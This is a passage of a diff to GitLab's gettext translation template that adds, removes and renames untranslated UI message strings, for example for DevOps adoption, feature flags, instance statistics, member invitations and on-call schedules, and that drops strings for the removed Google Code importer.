+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
